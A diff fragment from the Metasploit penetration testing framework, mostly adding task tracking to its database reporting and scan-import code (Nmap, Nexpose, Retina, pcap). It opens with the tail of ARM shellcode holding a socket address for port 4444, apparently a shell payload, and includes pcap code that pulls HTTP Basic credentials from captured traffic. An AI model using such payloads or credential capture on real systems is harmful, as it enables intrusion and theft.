mov pc,r1
|
||||
@ addr
|
||||
@ port: 4444 , sin_fam = 2
|
||||
.word 0x5c110002
|
||||
@ ip: 127.0.0.1
|
||||
.word 0x01aca8c0
|
||||
@.word 0x0100007f
|
||||
@@ -1,22 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'test/unit'
|
||||
require 'msf/base'
|
||||
require 'msf/base/sessions/command_shell.rb.ut'
|
||||
|
||||
module Msf
|
||||
module Base
|
||||
|
||||
class TestSuite
|
||||
def self.suite
|
||||
suite = Test::Unit::TestSuite.new("Msf Base")
|
||||
|
||||
suite << Msf::Session::CommandShell::UnitTest.suite
|
||||
|
||||
return suite;
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,44 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'test/unit'
|
||||
require 'msf/core'
|
||||
require 'msf/core/exceptions.rb.ut'
|
||||
require 'msf/core/option_container.rb.ut'
|
||||
require 'msf/core/session_manager.rb.ut'
|
||||
|
||||
require 'msf/core/module/author.rb.ut'
|
||||
require 'msf/core/module/platform_list.rb.ut'
|
||||
require 'msf/core/module/reference.rb.ut'
|
||||
require 'msf/core/module/target.rb.ut'
|
||||
|
||||
require 'msf/core/handler/bind_tcp.rb.ut'
|
||||
require 'msf/core/handler/reverse_tcp.rb.ut'
|
||||
|
||||
require 'msf/core/exploit.rb.ut'
|
||||
require 'msf/core/exploit/tcp.rb.ut'
|
||||
require 'msf/core/exploit/dcerpc.rb.ut'
|
||||
|
||||
class Msf::TestSuite
|
||||
def self.suite
|
||||
suite = Test::Unit::TestSuite.new("Msf Core")
|
||||
|
||||
suite << Msf::Exceptions::UnitTest.suite
|
||||
suite << Msf::OptionContainer::UnitTest.suite
|
||||
suite << Msf::SessionManager::UnitTest.suite
|
||||
|
||||
suite << Msf::Module::Author::UnitTest.suite
|
||||
suite << Msf::Module::PlatformList::UnitTest.suite
|
||||
suite << Msf::Module::Reference::UnitTest.suite
|
||||
suite << Msf::Module::Target::UnitTest.suite
|
||||
|
||||
suite << Msf::Handler::BindTcp::UnitTest.suite
|
||||
suite << Msf::Handler::ReverseTcp::UnitTest.suite
|
||||
|
||||
suite << Msf::Exploit::UnitTest.suite
|
||||
suite << Msf::Exploit::Remote::Tcp::UnitTest.suite
|
||||
suite << Msf::Exploit::Remote::DCERPC::UnitTest.suite
|
||||
|
||||
return suite;
|
||||
end
|
||||
end
|
||||
@@ -21,7 +21,17 @@ module Auxiliary::Report
|
||||
|
||||
def myworkspace
|
||||
@myworkspace = framework.db.find_workspace(self.workspace)
|
||||
end
|
||||
end
|
||||
|
||||
def mytask
|
||||
if self[:task]
|
||||
return self[:task].record
|
||||
elsif @task && @task.class == Mdm::Task
|
||||
return @task
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def inside_workspace_boundary?(ip)
|
||||
return true if not framework.db.active
|
||||
@@ -41,7 +51,10 @@ module Auxiliary::Report
|
||||
#
|
||||
def report_host(opts)
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_host(opts)
|
||||
end
|
||||
|
||||
@@ -63,7 +76,10 @@ module Auxiliary::Report
|
||||
#
|
||||
def report_client(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_client(opts)
|
||||
end
|
||||
|
||||
@@ -78,25 +94,37 @@ module Auxiliary::Report
|
||||
#
|
||||
def report_service(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_service(opts)
|
||||
end
|
||||
|
||||
def report_note(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_note(opts)
|
||||
end
|
||||
|
||||
def report_auth_info(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_auth_info(opts)
|
||||
end
|
||||
|
||||
def report_vuln(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_vuln(opts)
|
||||
end
|
||||
|
||||
@@ -104,37 +132,55 @@ module Auxiliary::Report
|
||||
# is no longer implemented.
|
||||
def report_exploit(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_exploit(opts)
|
||||
end
|
||||
|
||||
def report_loot(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_loot(opts)
|
||||
end
|
||||
|
||||
def report_web_site(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_web_site(opts)
|
||||
end
|
||||
|
||||
def report_web_page(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_web_page(opts)
|
||||
end
|
||||
|
||||
def report_web_form(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_web_form(opts)
|
||||
end
|
||||
|
||||
def report_web_vuln(opts={})
|
||||
return if not db
|
||||
opts = {:workspace => myworkspace}.merge(opts)
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_web_vuln(opts)
|
||||
end
|
||||
|
||||
|
||||
+278
-180
@@ -376,6 +376,13 @@ class DBManager
|
||||
host.save!
|
||||
end
|
||||
|
||||
if opts[:task]
|
||||
Mdm::TaskHost.create(
|
||||
:task => opts[:task],
|
||||
:host => host
|
||||
)
|
||||
end
|
||||
|
||||
host
|
||||
}
|
||||
end
|
||||
@@ -592,7 +599,15 @@ class DBManager
|
||||
if (service and service.changed?)
|
||||
msf_import_timestamps(opts,service)
|
||||
service.save!
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:task]
|
||||
Mdm::TaskService.create(
|
||||
:task => opts[:task],
|
||||
:service => service
|
||||
)
|
||||
end
|
||||
|
||||
ret[:service] = service
|
||||
}
|
||||
end
|
||||
@@ -721,17 +736,18 @@ class DBManager
|
||||
h_opts[:workspace] = wspace
|
||||
host = find_or_create_host(h_opts)
|
||||
sess_data = {
|
||||
:host_id => host.id,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:routes => [],
|
||||
:datastore => session.exploit_datastore.to_h,
|
||||
:opened_at => Time.now.utc,
|
||||
:last_seen => Time.now.utc,
|
||||
:local_id => session.sid
|
||||
:host_id => host.id,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:routes => [],
|
||||
:datastore => session.exploit_datastore.to_h,
|
||||
:port => session.session_port,
|
||||
:opened_at => Time.now.utc,
|
||||
:last_seen => Time.now.utc,
|
||||
:local_id => session.sid
|
||||
}
|
||||
elsif opts[:host]
|
||||
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
|
||||
@@ -1588,7 +1604,15 @@ class DBManager
|
||||
unless opts[:updated_at] || opts["updated_at"]
|
||||
cred.updated_at = Time.now.utc
|
||||
cred.save!
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if opts[:task]
|
||||
Mdm::TaskCred.create(
|
||||
:task => opts[:task],
|
||||
:cred => cred
|
||||
)
|
||||
end
|
||||
|
||||
ret[:cred] = cred
|
||||
end
|
||||
@@ -3096,14 +3120,15 @@ class DBManager
|
||||
desc_text = item.elements['description'].text
|
||||
next if desc_text.nil? or desc_text.empty?
|
||||
desc_data = {
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:type => "service.nikto.scan.description",
|
||||
:data => desc_text,
|
||||
:proto => "tcp",
|
||||
:port => port.to_i,
|
||||
:sname => uri.scheme,
|
||||
:update => :unique_data
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:type => "service.nikto.scan.description",
|
||||
:data => desc_text,
|
||||
:proto => "tcp",
|
||||
:port => port.to_i,
|
||||
:sname => uri.scheme,
|
||||
:update => :unique_data,
|
||||
:task => args[:task]
|
||||
}
|
||||
# Always report it as a note.
|
||||
report_note(desc_data)
|
||||
@@ -3208,13 +3233,27 @@ class DBManager
|
||||
next if (bl | [saddr,daddr]).size == bl.size # Both hosts are blacklisted, skip everything.
|
||||
unless( bl.include?(saddr) || rfc3330_reserved(saddr))
|
||||
yield(:address,saddr) if block and !seen_hosts.keys.include?(saddr)
|
||||
report_host(:workspace => wspace, :host => saddr, :state => Msf::HostState::Alive) unless seen_hosts[saddr]
|
||||
unless seen_hosts[saddr]
|
||||
report_host(
|
||||
:workspace => wspace,
|
||||
:host => saddr,
|
||||
:state => Msf::HostState::Alive,
|
||||
:task => args[:task]
|
||||
)
|
||||
end
|
||||
seen_hosts[saddr] ||= []
|
||||
|
||||
end
|
||||
unless( bl.include?(daddr) || rfc3330_reserved(daddr))
|
||||
yield(:address,daddr) if block and !seen_hosts.keys.include?(daddr)
|
||||
report_host(:workspace => wspace, :host => daddr, :state => Msf::HostState::Alive) unless seen_hosts[daddr]
|
||||
unless seen_hosts[daddr]
|
||||
report_host(
|
||||
:workspace => wspace,
|
||||
:host => daddr,
|
||||
:state => Msf::HostState::Alive,
|
||||
:task => args[:task]
|
||||
)
|
||||
end
|
||||
seen_hosts[daddr] ||= []
|
||||
end
|
||||
|
||||
@@ -3224,9 +3263,10 @@ class DBManager
|
||||
if seen_hosts[saddr]
|
||||
unless seen_hosts[saddr].include? [pkt.tcp_src,"tcp"]
|
||||
report_service(
|
||||
:workspace => wspace, :host => saddr,
|
||||
:proto => "tcp", :port => pkt.tcp_src,
|
||||
:state => Msf::ServiceState::Open
|
||||
:workspace => wspace, :host => saddr,
|
||||
:proto => "tcp", :port => pkt.tcp_src,
|
||||
:state => Msf::ServiceState::Open,
|
||||
:task => args[:task]
|
||||
)
|
||||
seen_hosts[saddr] << [pkt.tcp_src,"tcp"]
|
||||
yield(:service,"%s:%d/%s" % [saddr,pkt.tcp_src,"tcp"])
|
||||
@@ -3239,9 +3279,10 @@ class DBManager
|
||||
if seen_hosts[xaddr]
|
||||
unless seen_hosts[xaddr].include? [pkt.udp_src,"udp"]
|
||||
report_service(
|
||||
:workspace => wspace, :host => xaddr,
|
||||
:proto => "udp", :port => pkt.udp_src,
|
||||
:state => Msf::ServiceState::Open
|
||||
:workspace => wspace, :host => xaddr,
|
||||
:proto => "udp", :port => pkt.udp_src,
|
||||
:state => Msf::ServiceState::Open,
|
||||
:task => args[:task]
|
||||
)
|
||||
seen_hosts[xaddr] << [pkt.udp_src,"udp"]
|
||||
yield(:service,"%s:%d/%s" % [xaddr,pkt.udp_src,"udp"])
|
||||
@@ -3252,9 +3293,10 @@ class DBManager
|
||||
if seen_hosts[saddr]
|
||||
unless seen_hosts[saddr].include? [pkt.udp_src,"udp"]
|
||||
report_service(
|
||||
:workspace => wspace, :host => saddr,
|
||||
:proto => "udp", :port => pkt.udp_src,
|
||||
:state => Msf::ServiceState::Open
|
||||
:workspace => wspace, :host => saddr,
|
||||
:proto => "udp", :port => pkt.udp_src,
|
||||
:state => Msf::ServiceState::Open,
|
||||
:task => args[:task]
|
||||
)
|
||||
seen_hosts[saddr] << [pkt.udp_src,"udp"]
|
||||
yield(:service,"%s:%d/%s" % [saddr,pkt.udp_src,"udp"])
|
||||
@@ -3263,7 +3305,7 @@ class DBManager
|
||||
end
|
||||
end # tcp or udp
|
||||
|
||||
inspect_single_packet(pkt,wspace)
|
||||
inspect_single_packet(pkt,wspace,args[:task])
|
||||
|
||||
end # data.body.map
|
||||
|
||||
@@ -3276,29 +3318,30 @@ class DBManager
|
||||
# Do all the single packet analysis we can while churning through the pcap
|
||||
# the first time. Multiple packet inspection will come later, where we can
|
||||
# do stream analysis, compare requests and responses, etc.
|
||||
def inspect_single_packet(pkt,wspace)
|
||||
def inspect_single_packet(pkt,wspace,task=nil)
|
||||
if pkt.is_tcp? or pkt.is_udp?
|
||||
inspect_single_packet_http(pkt,wspace)
|
||||
inspect_single_packet_http(pkt,wspace,task)
|
||||
end
|
||||
end
|
||||
|
||||
# Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0
|
||||
# line, contains an Authorization line, contains a b64-encoded credential, and
|
||||
# extracts it. Reports this credential and solidifies the service as HTTP.
|
||||
def inspect_single_packet_http(pkt,wspace)
|
||||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||
# First, check the server side (data from port 80).
|
||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
:host => pkt.ip_saddr,
|
||||
:port => pkt.tcp_src,
|
||||
:proto => "tcp",
|
||||
:name => "http",
|
||||
:info => http_server_match[1],
|
||||
:state => Msf::ServiceState::Open
|
||||
:workspace => wspace,
|
||||
:host => pkt.ip_saddr,
|
||||
:port => pkt.tcp_src,
|
||||
:proto => "tcp",
|
||||
:name => "http",
|
||||
:info => http_server_match[1],
|
||||
:state => Msf::ServiceState::Open,
|
||||
:task => task
|
||||
)
|
||||
# That's all we want to know from this service.
|
||||
return :something_significant
|
||||
@@ -3321,21 +3364,23 @@ class DBManager
|
||||
# to come later.
|
||||
user,pass = b64_cred.unpack("m*").first.split(/:/,2)
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
:host => pkt.ip_daddr,
|
||||
:port => pkt.tcp_dst,
|
||||
:proto => "tcp",
|
||||
:name => "http"
|
||||
:workspace => wspace,
|
||||
:host => pkt.ip_daddr,
|
||||
:port => pkt.tcp_dst,
|
||||
:proto => "tcp",
|
||||
:name => "http",
|
||||
:task => task
|
||||
)
|
||||
report_auth_info(
|
||||
:workspace => wspace,
|
||||
:host => pkt.ip_daddr,
|
||||
:port => pkt.tcp_dst,
|
||||
:proto => "tcp",
|
||||
:type => "password",
|
||||
:active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is.
|
||||
:user => user,
|
||||
:pass => pass
|
||||
:workspace => wspace,
|
||||
:host => pkt.ip_daddr,
|
||||
:port => pkt.tcp_dst,
|
||||
:proto => "tcp",
|
||||
:type => "password",
|
||||
:active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is.
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:task => task
|
||||
)
|
||||
# That's all we want to know from this service.
|
||||
return :something_significant
|
||||
@@ -3364,7 +3409,8 @@ class DBManager
|
||||
conf = {
|
||||
:workspace => wspace,
|
||||
:host => ip,
|
||||
:name => name
|
||||
:name => name,
|
||||
:task => args[:task]
|
||||
}
|
||||
|
||||
conf[:os_name] = os if os
|
||||
@@ -3453,12 +3499,13 @@ class DBManager
|
||||
end
|
||||
|
||||
cred_info = {
|
||||
:host => addr,
|
||||
:port => port,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:type => ptype,
|
||||
:workspace => wspace
|
||||
:host => addr,
|
||||
:port => port,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:type => ptype,
|
||||
:workspace => wspace,
|
||||
:task => args[:task]
|
||||
}
|
||||
cred_info[:proto] = proto if proto
|
||||
cred_info[:sname] = sname if sname
|
||||
@@ -3628,17 +3675,18 @@ class DBManager
|
||||
# Import Loot
|
||||
doc.elements.each("/#{btag}/loots/loot") do |loot|
|
||||
next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip]
|
||||
loot_info = {}
|
||||
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
|
||||
loot_info[:workspace] = args[:wspace]
|
||||
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
|
||||
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
|
||||
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
|
||||
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
|
||||
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
|
||||
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
|
||||
loot_info = {}
|
||||
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
|
||||
loot_info[:workspace] = args[:wspace]
|
||||
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
|
||||
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
|
||||
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
|
||||
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
|
||||
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
|
||||
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
|
||||
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
|
||||
loot_info[:task] = args[:task]
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
|
||||
if !loot.elements["service-id"].text.to_s.strip.empty?
|
||||
@@ -3723,18 +3771,18 @@ class DBManager
|
||||
|
||||
# Import Reports
|
||||
doc.elements.each("/#{btag}/reports/report") do |report|
|
||||
report_info = {}
|
||||
report_info[:workspace] = args[:wspace]
|
||||
# Should user be imported (original) or declared (the importing user)?
|
||||
report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip)
|
||||
report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip)
|
||||
report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip)
|
||||
report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip)
|
||||
report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip)
|
||||
|
||||
report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip)
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
report_info[:orig_path].gsub!(/^\./,tmp) if report_info[:orig_path]
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
report_info = {}
|
||||
report_info[:workspace] = args[:wspace]
|
||||
# Should user be imported (original) or declared (the importing user)?
|
||||
report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip)
|
||||
report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip)
|
||||
report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip)
|
||||
report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip)
|
||||
report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip)
|
||||
report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip)
|
||||
report_info[:task] = args[:task]
|
||||
report_info[:orig_path].gsub!(/^\./, tmp) if report_info[:orig_path]
|
||||
|
||||
# Only report a report if we actually have it.
|
||||
# TODO: Copypasta. Seperate this out.
|
||||
@@ -3818,7 +3866,8 @@ class DBManager
|
||||
conf = {
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:state => Msf::HostState::Alive
|
||||
:state => Msf::HostState::Alive,
|
||||
:task => args[:task]
|
||||
}
|
||||
|
||||
host = report_host(conf)
|
||||
@@ -3828,7 +3877,8 @@ class DBManager
|
||||
:workspace => wspace,
|
||||
:host => host,
|
||||
:type => 'host.os.nexpose_fingerprint',
|
||||
:data => fprint
|
||||
:data => fprint,
|
||||
:task => args[:task]
|
||||
)
|
||||
|
||||
# Load vulnerabilities not associated with a service
|
||||
@@ -3841,7 +3891,8 @@ class DBManager
|
||||
:host => host,
|
||||
:name => 'NEXPOSE-' + vid,
|
||||
:info => vid,
|
||||
:refs => refs
|
||||
:refs => refs,
|
||||
:task => args[:task]
|
||||
)
|
||||
end
|
||||
|
||||
@@ -3860,9 +3911,24 @@ class DBManager
|
||||
end
|
||||
|
||||
if(sname.downcase != '<unknown>')
|
||||
report_service(:workspace => wspace, :host => host, :proto => sprot, :port => sport, :name => name, :info => info)
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
:host => host,
|
||||
:proto => sprot,
|
||||
:port => sport,
|
||||
:name => name,
|
||||
:info => info,
|
||||
:task => args[:task]
|
||||
)
|
||||
else
|
||||
report_service(:workspace => wspace, :host => host, :proto => sprot, :port => sport, :info => info)
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
:host => host,
|
||||
:proto => sprot,
|
||||
:port => sport,
|
||||
:info => info,
|
||||
:task => args[:task]
|
||||
)
|
||||
end
|
||||
|
||||
# Load vulnerabilities associated with this service
|
||||
@@ -3871,13 +3937,14 @@ class DBManager
|
||||
refs = process_nexpose_data_sxml_refs(vuln)
|
||||
next if not refs
|
||||
report_vuln(
|
||||
:workspace => wspace,
|
||||
:host => host,
|
||||
:port => sport,
|
||||
:proto => sprot,
|
||||
:name => 'NEXPOSE-' + vid,
|
||||
:info => vid,
|
||||
:refs => refs
|
||||
:workspace => wspace,
|
||||
:host => host,
|
||||
:port => sport,
|
||||
:proto => sprot,
|
||||
:name => 'NEXPOSE-' + vid,
|
||||
:info => vid,
|
||||
:refs => refs,
|
||||
:task => args[:task]
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -3995,7 +4062,7 @@ class DBManager
|
||||
|
||||
# Takes a Host object, an array of vuln structs (generated by nexpose_refs_to_struct()),
|
||||
# and a workspace, and reports the vulns on that host.
|
||||
def nexpose_host_from_rawxml(h, vstructs, wspace)
|
||||
def nexpose_host_from_rawxml(h, vstructs, wspace,task=nil)
|
||||
hobj = nil
|
||||
data = {:workspace => wspace}
|
||||
if h["addr"]
|
||||
@@ -4024,11 +4091,12 @@ class DBManager
|
||||
|
||||
if h["notes"]
|
||||
note = {
|
||||
:workspace => wspace,
|
||||
:host => (hobj || addr),
|
||||
:type => "host.vuln.nexpose_keys",
|
||||
:data => {},
|
||||
:mode => :unique_data
|
||||
:workspace => wspace,
|
||||
:host => (hobj || addr),
|
||||
:type => "host.vuln.nexpose_keys",
|
||||
:data => {},
|
||||
:mode => :unique_data,
|
||||
:task => task
|
||||
}
|
||||
h["notes"].each do |v,k|
|
||||
note[:data][v] ||= []
|
||||
@@ -4040,13 +4108,14 @@ class DBManager
|
||||
|
||||
if h["os_family"]
|
||||
note = {
|
||||
:workspace => wspace,
|
||||
:host => hobj || addr,
|
||||
:type => 'host.os.nexpose_fingerprint',
|
||||
:data => {
|
||||
:family => h["os_family"],
|
||||
:certainty => h["os_certainty"]
|
||||
}
|
||||
:workspace => wspace,
|
||||
:host => hobj || addr,
|
||||
:type => 'host.os.nexpose_fingerprint',
|
||||
:task => task,
|
||||
:data => {
|
||||
:family => h["os_family"],
|
||||
:certainty => h["os_certainty"]
|
||||
}
|
||||
}
|
||||
note[:data][:vendor] = h["os_vendor"] if h["os_vendor"]
|
||||
note[:data][:product] = h["os_product"] if h["os_product"]
|
||||
@@ -4067,13 +4136,14 @@ class DBManager
|
||||
# XXX This should probably be handled in a more standard way
|
||||
# extra << "(" + p["certainty"] + " certainty) " if p["certainty"]
|
||||
|
||||
data = {}
|
||||
data[:workspace] = wspace
|
||||
data[:proto] = p["protocol"].downcase
|
||||
data[:port] = p["port"].to_i
|
||||
data[:state] = p["status"]
|
||||
data[:host] = hobj || addr
|
||||
data[:info] = extra if not extra.empty?
|
||||
data = {}
|
||||
data[:workspace] = wspace
|
||||
data[:proto] = p["protocol"].downcase
|
||||
data[:port] = p["port"].to_i
|
||||
data[:state] = p["status"]
|
||||
data[:host] = hobj || addr
|
||||
data[:info] = extra if not extra.empty?
|
||||
data[:task] = task
|
||||
if p["name"] != "<unknown>"
|
||||
data[:name] = p["name"]
|
||||
end
|
||||
@@ -4085,14 +4155,15 @@ class DBManager
|
||||
next if v["status"] !~ /^vulnerable/
|
||||
vstruct = vstructs.select {|vs| vs.id.to_s.downcase == v["id"].to_s.downcase}.first
|
||||
next unless vstruct
|
||||
data = {}
|
||||
data[:workspace] = wspace
|
||||
data[:host] = hobj || addr
|
||||
data[:proto] = v["protocol"].downcase if v["protocol"]
|
||||
data[:port] = v["port"].to_i if v["port"]
|
||||
data[:name] = "NEXPOSE-" + v["id"]
|
||||
data[:info] = vstruct.title
|
||||
data[:refs] = vstruct.refs
|
||||
data = {}
|
||||
data[:workspace] = wspace
|
||||
data[:host] = hobj || addr
|
||||
data[:proto] = v["protocol"].downcase if v["protocol"]
|
||||
data[:port] = v["port"].to_i if v["port"]
|
||||
data[:name] = "NEXPOSE-" + v["id"]
|
||||
data[:info] = vstruct.title
|
||||
data[:refs] = vstruct.refs
|
||||
data[:task] = task
|
||||
report_vuln(data)
|
||||
}
|
||||
end
|
||||
@@ -4159,12 +4230,13 @@ class DBManager
|
||||
# Import OS fingerprint
|
||||
if host["os"]
|
||||
note = {
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:type => 'host.os.retina_fingerprint',
|
||||
:data => {
|
||||
:os => host["os"]
|
||||
}
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:type => 'host.os.retina_fingerprint',
|
||||
:task => args[:task],
|
||||
:data => {
|
||||
:os => host["os"]
|
||||
}
|
||||
}
|
||||
report_note(note)
|
||||
end
|
||||
@@ -4175,11 +4247,12 @@ class DBManager
|
||||
refs << "RETINA-#{vuln['rthid']}" if vuln['rthid']
|
||||
|
||||
vuln_info = {
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:name => vuln['name'],
|
||||
:info => vuln['description'],
|
||||
:refs => refs
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:name => vuln['name'],
|
||||
:info => vuln['description'],
|
||||
:refs => refs,
|
||||
:task => args[:task]
|
||||
}
|
||||
|
||||
report_vuln(vuln_info)
|
||||
@@ -4271,7 +4344,8 @@ class DBManager
|
||||
:query => uri.query,
|
||||
:code => code,
|
||||
:body => body,
|
||||
:headers => headers
|
||||
:headers => headers,
|
||||
:task => args[:task]
|
||||
}
|
||||
info.merge!(data)
|
||||
|
||||
@@ -4331,18 +4405,19 @@ class DBManager
|
||||
# XXX: There is a :request attr in the model, but report_web_vuln
|
||||
# doesn't seem to know about it, so this gets ignored.
|
||||
#:request => vuln['request'],
|
||||
:path => uri.path,
|
||||
:query => uri.query,
|
||||
:method => method,
|
||||
:params => params,
|
||||
:pname => pname.to_s,
|
||||
:proof => proof,
|
||||
:risk => details[:risk],
|
||||
:name => details[:name],
|
||||
:blame => details[:blame],
|
||||
:category => details[:category],
|
||||
:description => details[:description],
|
||||
:confidence => details[:confidence],
|
||||
:path => uri.path,
|
||||
:query => uri.query,
|
||||
:method => method,
|
||||
:params => params,
|
||||
:pname => pname.to_s,
|
||||
:proof => proof,
|
||||
:risk => details[:risk],
|
||||
:name => details[:name],
|
||||
:blame => details[:blame],
|
||||
:category => details[:category],
|
||||
:description => details[:description],
|
||||
:confidence => details[:confidence],
|
||||
:task => args[:task]
|
||||
}
|
||||
info.merge!(data)
|
||||
|
||||
@@ -4680,6 +4755,7 @@ class DBManager
|
||||
data[:mac] = h["addrs"]["mac"]
|
||||
end
|
||||
data[:state] = (h["status"] == "up") ? Msf::HostState::Alive : Msf::HostState::Dead
|
||||
data[:task] = args[:task]
|
||||
|
||||
if ( h["reverse_dns"] )
|
||||
data[:name] = h["reverse_dns"]
|
||||
@@ -4703,6 +4779,7 @@ class DBManager
|
||||
:workspace => wspace,
|
||||
:host => hobj || addr,
|
||||
:type => 'host.os.nmap_fingerprint',
|
||||
:task => args[:task],
|
||||
:data => {
|
||||
:os_vendor => h["os_vendor"],
|
||||
:os_family => h["os_family"],
|
||||
@@ -4723,6 +4800,7 @@ class DBManager
|
||||
:workspace => wspace,
|
||||
:host => hobj || addr,
|
||||
:type => 'host.last_boot',
|
||||
:task => args[:task],
|
||||
:data => {
|
||||
